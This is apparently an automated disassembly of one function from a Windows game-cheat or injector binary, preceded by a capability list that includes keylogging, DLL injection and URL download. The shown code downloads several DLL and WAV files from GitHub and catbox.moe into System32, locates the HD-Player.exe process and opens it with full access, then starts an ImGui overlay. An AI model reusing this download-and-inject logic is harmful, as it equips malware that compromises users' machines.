Function at 0x1400552b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Encode data using xor
Enumerate processes
Inject dll
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x11198]
mov eax, 0x11298
call fcn.14012b8e0
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x728]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14005dd18
mov rcx, qword [rbp + 0x728]
lea rax, [rbp + 0x740]
xor r15d, r15d
mov qword [rsp + 0x20], rax
mov r9d, 4
mov dword [rbp + 0xc0], r15d
lea r8, [rbp + 0xc0]
mov edx, reloc.WS2_32.dll_sendto
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14005dd18
cmp dword [rbp + 0xc0], r15d
setne al
test al, al
je 0x14005dd18
mov eax, dword [0x14016b208]
lea r8, [rbp + 0x8e8]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_sqdsqsqdsqdsqdsq_momokbire11_refs_heads_main_Aimbot_20Dll_20By_20MOMO666.dll]
lea rdx, [rbp + 0xb80]
movups xmm1, xmmword [0x14016b1b0]
xor r9d, r9d
movups xmmword [rbp + 0xb80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14016b1c0]
movups xmmword [rbp + 0xba0], xmm0
movups xmm0, xmmword [0x14016b1e0]
mov dword [rbp + 0xbe8], eax
movzx eax, word [0x14016b20c]
movups xmmword [rbp + 0xbc0], xmm0
movsd xmm0, qword [0x14016b200]
movups xmmword [rbp + 0xb90], xmm1
movups xmm1, xmmword [0x14016b1d0]
mov word [rbp + 0xbec], ax
movzx eax, byte [0x14016b20e]
movsd qword [rbp + 0xbe0], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32Aimbot_Dll_By_MOMO666.dll]
mov byte [rbp + 0xbee], al
mov eax, dword [0x14016b120]
movups xmmword [rbp + 0xbb0], xmm1
movups xmm1, xmmword [0x14016b1f0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmm1, xmmword [0x14016b108]
mov dword [rbp + 0x910], eax
movzx eax, word [0x14016b124]
movups xmmword [rbp + 0x8e8], xmm0
mov word [rbp + 0x914], ax
movsd xmm0, qword [0x14016b118]
movsd qword [rbp + 0x908], xmm0
movups xmmword [rbp + 0x8f8], xmm1
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movzx eax, word [0x14016b258]
lea r8, [rbp + 0x8c0]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_main_MOMOKBIRECHMAS.dll]
lea rdx, [rbp + 0xb00]
movups xmm1, xmmword [0x14016b220]
xor r9d, r9d
mov word [rbp + 0xb48], ax
xor ecx, ecx
movzx eax, byte [0x14016b25a]
movups xmmword [rbp + 0xb00], xmm0
movups xmm0, xmmword [0x14016b230]
mov byte [rbp + 0xb4a], al
mov eax, dword [0x14016b008]
movups xmmword [rbp + 0xb20], xmm0
movsd xmm0, qword [0x14016b250]
movups xmmword [rbp + 0xb10], xmm1
movups xmm1, xmmword [0x14016b240]
mov dword [rbp + 0x8e0], eax
movzx eax, word [0x14016b00c]
movsd qword [rbp + 0xb40], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32MOMOKBIRECHMAS.dll]
mov word [rbp + 0x8e4], ax
movzx eax, byte [0x14016b00e]
movups xmmword [rbp + 0xb30], xmm1
movups xmm1, xmmword [0x14016aff8]
mov byte [rbp + 0x8e6], al
movups xmmword [rbp + 0x8c0], xmm0
mov qword [rsp + 0x20], r15
movups xmmword [rbp + 0x8d0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_ANESSDEV_esp_main_glew32.dll]
mov eax, dword [0x14016b298]
movups xmm1, xmmword [0x14016b270]
mov dword [rbp + 0x950], eax
movzx eax, word [0x14016b29c]
movups xmmword [rbp + 0x918], xmm0
mov word [rbp + 0x954], ax
movups xmm0, xmmword [0x14016b280]
movzx eax, byte [0x14016b29e]
movups xmmword [rbp + 0x928], xmm1
mov byte [rbp + 0x956], al
movups xmmword [rbp + 0x938], xmm0
movsd xmm0, qword [0x14016b290]
movsd qword [rbp + 0x948], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew32.dll]
mov eax, dword [0x14016b0a0]
lea r8, [rbp + 0x830]
mov dword [rbp + 0x848], eax
lea rdx, [rbp + 0x918]
movzx eax, word [0x14016b0a4]
xor r9d, r9d
mov word [rbp + 0x84c], ax
xor ecx, ecx
movzx eax, byte [0x14016b0a6]
movups xmmword [rbp + 0x830], xmm0
mov byte [rbp + 0x84e], al
movsd xmm0, qword [0x14016b098]
movsd qword [rbp + 0x840], xmm0
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_sqdsqsqdsqdsqdsq_momokbire11_refs_heads_main_glew64.dll]
lea r8, [rbp + 0x850]
movzx eax, word [0x14016b2f8]
lea rdx, [rbp + 0xca0]
movups xmm1, xmmword [0x14016b2b0]
xor r9d, r9d
movups xmmword [rbp + 0xca0], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14016b2c0]
movups xmmword [rbp + 0xcc0], xmm0
movups xmm0, xmmword [0x14016b2e0]
movups xmmword [rbp + 0xce0], xmm0
movsd xmm0, qword [0x14016b2f0]
mov word [rbp + 0xcf8], ax
mov eax, dword [0x14016b0d8]
movsd qword [rbp + 0xcf0], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew64.dll]
mov dword [rbp + 0x868], eax
movzx eax, word [0x14016b0dc]
movups xmmword [rbp + 0x850], xmm0
mov word [rbp + 0x86c], ax
movsd xmm0, qword [0x14016b0d0]
movzx eax, byte [0x14016b0de]
movups xmmword [rbp + 0xcb0], xmm1
movups xmm1, xmmword [0x14016b2d0]
movsd qword [rbp + 0x860], xmm0
movups xmmword [rbp + 0xcd0], xmm1
mov byte [rbp + 0x86e], al
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_b37xai.dll]
mov eax, dword [0x14016b320]
lea r8, [rbp + 0x870]
movups xmm1, xmmword [0x14016b310]
mov dword [rbp + 0xaf8], eax
lea rdx, [rbp + 0xad8]
mov eax, dword [0x14016b060]
xor r9d, r9d
movups xmmword [rbp + 0xad8], xmm0
mov dword [rbp + 0x888], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32_b37xai.dll]
movzx eax, word [0x14016b064]
mov word [rbp + 0x88c], ax
movzx eax, byte [0x14016b066]
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x88e], al
movsd xmm0, qword [0x14016b058]
movsd qword [rbp + 0x880], xmm0
movups xmmword [rbp + 0xae8], xmm1
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_refs_heads_main_mr7babikk.wav]
movups xmm1, xmmword [0x14016b340]
movzx eax, byte [0x14016b380]
movups xmmword [rbp + 0xd00], xmm0
movups xmm0, xmmword [0x14016b350]
movups xmmword [rbp + 0xd20], xmm0
movups xmm0, xmmword [0x14016b370]
movups xmmword [rbp + 0xd40], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32mr7babikk.wav]
mov byte [rbp + 0xd50], al
movups xmmword [rbp + 0xd10], xmm1
movups xmm1, xmmword [0x14016b360]
movups xmmword [rbp + 0xa88], xmm0
movups xmmword [rbp + 0xd30], xmm1
movups xmm1, xmmword [0x14016adf0]
movzx eax, word [0x14016ae00]
lea r8, [rbp + 0xa88]
xor r9d, r9d
mov word [rbp + 0xaa8], ax
lea rdx, [rbp + 0xd00]
mov qword [rsp + 0x20], r15
xor ecx, ecx
movups xmmword [rbp + 0xa98], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_refs_heads_main_salm.wav]
lea r8, [rbp + 0x8a0]
mov eax, dword [0x14016b3d8]
lea rdx, [rbp + 0xc50]
movups xmm1, xmmword [0x14016b3a0]
xor r9d, r9d
movups xmmword [rbp + 0xc50], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14016b3b0]
movups xmmword [rbp + 0xc70], xmm0
movsd xmm0, qword [0x14016b3d0]
movsd qword [rbp + 0xc90], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32_salm.wav]
mov dword [rbp + 0xc98], eax
mov eax, dword [0x14016b3f8]
movups xmmword [rbp + 0x8a0], xmm0
mov dword [rbp + 0x8b8], eax
movsd xmm0, qword [0x14016b3f0]
movzx eax, byte [0x14016b3fc]
movups xmmword [rbp + 0xc60], xmm1
movups xmm1, xmmword [0x14016b3c0]
movsd qword [rbp + 0x8b0], xmm0
movups xmmword [rbp + 0xc80], xmm1
mov byte [rbp + 0x8bc], al
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x14016b458]
lea r8, [rbp + 0xab0]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_sqdsqsqdsqdsqdsq_momokbire11_refs_heads_main_aimbotdll.dll]
lea rdx, [rbp + 0xbf0]
movups xmm1, xmmword [0x14016b410]
xor r9d, r9d
movups xmmword [rbp + 0xbf0], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14016b420]
movups xmmword [rbp + 0xc10], xmm0
movups xmm0, xmmword [0x14016b440]
movups xmmword [rbp + 0xc30], xmm0
movsd xmm0, qword [0x14016b450]
movups xmmword [rbp + 0xc00], xmm1
movups xmm1, xmmword [0x14016b430]
mov dword [rbp + 0xc48], eax
movzx eax, byte [0x14016b45c]
movsd qword [rbp + 0xc40], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32_aimbotdll.dll]
mov byte [rbp + 0xc4c], al
movzx eax, word [0x14016b148]
movups xmmword [rbp + 0xc20], xmm1
movups xmm1, xmmword [0x14016b138]
mov word [rbp + 0xad0], ax
movups xmmword [rbp + 0xab0], xmm0
mov qword [rsp + 0x20], r15
movups xmmword [rbp + 0xac0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x1400520e0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14004ecf0
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14004e3b0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14004e4f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
call fcn.14012af18
lea rcx, [0x14004da70]
mov r9, rax
lea r8, [0x140060420]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x5e8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x5e0], rax
test rax, rax
je 0x14005dd05
mov qword [rsp + 0x11280], r14
mov r14d, 1
mov qword [rsp + 0x112b0], rbx
mov qword [rsp + 0x112b8], rsi
mov qword [rsp + 0x112c0], rdi
mov qword [rsp + 0x11290], r12
mov qword [rsp + 0x11288], r13
movaps xmmword [rsp + 0x11270], xmm6
movaps xmmword [rsp + 0x11260], xmm7
movaps xmmword [rsp + 0x11250], xmm8
movaps xmmword [rsp + 0x11240], xmm9
movaps xmmword [rsp + 0x11230], xmm10
movaps xmmword [rsp + 0x11220], xmm11
movaps xmmword [rsp + 0x11210], xmm12
movaps xmmword [rsp + 0x11200], xmm13
movaps xmmword [rsp + 0x111f0], xmm14
movaps xmmword [rsp + 0x111e0], xmm15
cmp dword [rbp + 0x5e8], r15d
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x5e0]
lea rcx, [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x5e0], xmm0
call fcn.14004dad0
lea rcx, [0x1403c2210]
call fcn.1400d4960
mov ebx, dword [0x1403a0ea8]
test ebx, ebx
jne 0x140055b36
cmp qword [0x1403a0ef8], r15
jne 0x140055aae
mov ecx, reloc.WS2_32.dll_recv
call fcn.14012af18
mov qword [0x1403a0ef8], rax
mov dword [rax + 8], r15d
xor edx, edx
mov ecx, 2
mov ebx, r15d
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xe00]
mov dword [rbp + 0xe00], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xe00]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140055b30
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xe2c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x140055b1c
mov eax, dword [rbp + 0xe1c]
cmp eax, edi
jle 0x140055b1c
mov ebx, dword [rbp + 0xe08]
mov edi, eax
lea rdx, [rbp + 0xe00]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140055af2
mov dword [0x1403a0ea8], ebx
mov rdi, qword [0x1403a0ef8]
test rdi, rdi
jne 0x140055b60
mov ecx, reloc.WS2_32.dll_recv
call fcn.14012af18
mov ebx, dword [0x1403a0ea8]
mov rdi, rax
mov qword [0x1403a0ef8], rax
mov dword [rax + 8], r15d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x140055be1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xf30]
mov dword [rbp + 0xf30], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xf30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140055bde
nop dword [rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xf5c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0xf38]
lea rdx, [rbp + 0xf30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140055bb0
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r15d
je 0x140055bfa
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rcx, [0x1403c2210]
call fcn.1400d4960
cmp byte [0x1403c2428], r15b
jmp 0x140055c40
lea rax, [0x14005ddd0]
mov dword [rbp + 0x7e0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x7e8], rax
xor ecx, ecx
mov dword [rbp + 0x7e4], 0x40
mov qword [rbp + 0x7f0], r15
mov qword [rbp + 0x7f8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x800], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x810], r15
mov qword [rbp + 0x808], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x818], rax
lea rax, str.NhanZed
mov qword [rbp + 0x820], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x7e0]
mov qword [rbp + 0x828], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x48], r15
sub eax, edx
mov rdx, qword [rbp + 0x820]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x14016bd30]
lea rdx, [rbp + 0x9a0]
mov rcx, rax
mov qword [0x1403a0e88], rax
movdqu xmmword [rbp + 0x9a0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403a0e88]
lea rdx, [0x1403a0e98]
xorps xmm0, xmm0
movups xmmword [0x1403a0e98], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1403a0e88]
lea rbx, [0x1403c68e0]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1403c6898]
mov qword [rbp + 0x7c0], rax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rbp + 0x7a4], r15
mov qword [rbp + 0x7b8], 2
mov qword [rbp + 0x7d0], 2
mov qword [rbp + 0x790], r15
mov dword [rbp + 0x7a0], Ordinal_32
mov dword [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x79c], r14d
mov dword [rbp + 0x7b4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x7ac], r14
mov qword [rbp + 0x7c8], r14
mov dword [rbp + 0x218], 0xb000
mov dword [rbp + 0x21c], 0xa000
lea rax, [rbp + 0x790]
xor r9d, r9d
lea rsi, [0x1403c6890]
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, r14d
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x218]
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x140055ed0
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x790]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x218]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14005dcda
mov rcx, qword [0x1403c6890]
lea r9, [rbp + 0x5f0]
lea r8, [0x140169450]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x1403c6898]
lea r9, [0x1403c6888]
mov rdx, qword [rbp + 0x5f0]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x5f0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1403a0e88]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403a0e88]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1403a0d90]
test rbx, rbx
je 0x140055f6a
inc dword [rbx + 0xf4]
mov rdx, qword [0x1403a0d80]
mov ecx, 0x5e70
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x140055f8c
xor edx, edx
mov rcx, rax
call fcn.140002110
jmp 0x140055f8f
mov rax, r15
mov qword [0x1403a0d90], rax
call fcn.1400069b0
test rbx, rbx
je 0x140055fa9
mov qword [0x1403a0d90], rbx
jmp 0x140055fb0
mov rbx, qword [0x1403a0d90]
test rbx, rbx
jne 0x140055fd6
mov r8d, 0x1033
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403a0d90]
or dword [rbx + 8], 3
xorps xmm1, xmm1
movups xmmword [rbp + 0xe0], xmm1
xor eax, eax
mov dword [rbp + 0xe8], 3
movups xmmword [rbp + 0x110], xmm1
mov qword [rbp + 0x150], rax
mov eax, 0xffff
movups xmmword [rbp + 0x120], xmm1
mov word [rbp + 0x124], ax
movups xmmword [rbp + 0xd0], xmm1
mov byte [rbp + 0xdc], r14b
movups xmmword [rbp + 0xf0], xmm1
xorps xmm3, xmm3
movups xmmword [rbp + 0x100], xmm3
xorps xmm4, xmm4
movups xmmword [rbp + 0x130], xmm4
xorps xmm5, xmm5
movups xmmword [rbp + 0x140], xmm5
mov dword [rbp + 0xec], r14d
mov dword [rbp + 0x114], 0x7f7fffff
mov dword [rbp + 0x120], 0x3f800000
mov dword [rbp + 0x11c], 0x10c
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r15b
je 0x1400560a9
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm5, xmmword [rbp + 0x140]
movups xmm4, xmmword [rbp + 0x130]
movups xmm3, xmmword [rbp + 0x100]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x50], xmm0
movsd xmm0, qword [rbp + 0x150]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x120]
movsd qword [rbp + 0x90], xmm0
movups xmmword [rbp + 0x10], xmm2
movups xmmword [rbp + 0x40], xmm3
movups xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x70], xmm4
movups xmmword [rbp + 0x80], xmm5
test rax, rax
je 0x14005611c
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x14020c6c0]
mov dword [rbp + 0x18], 0x26368
lea rsi, [0x140167080]
mov qword [rbp + 0x10], r14
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x48], rsi
mov rcx, rdi
mov dword [rbp + 0x24], 0x41880000
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r15b
je 0x140056170
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x1400561ff
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], r14
mov rcx, rdi
mov dword [rbp + 0x18], 0x26368
mov dword [rbp + 0x24], 0x41700000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0ee8], rax
cmp byte [rdi + 0x18], r15b
je 0x14005624c
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x1400562db
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140323d50]
mov dword [rbp + 0x18], 0xf40
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
mov rcx, rdi
mov dword [rbp + 0x24], 0x41c00000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0ef0], rax
cmp byte [rdi + 0x18], r15b
je 0x14005632f
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x1400563be
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x1402fe3f0]
mov dword [rbp + 0x18], 0x25958
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], r14
mov rcx, rdi
mov dword [rbp + 0x24], 0x41880000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0ee0], rax
cmp byte [rdi + 0x18], r15b
je 0x140056412
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
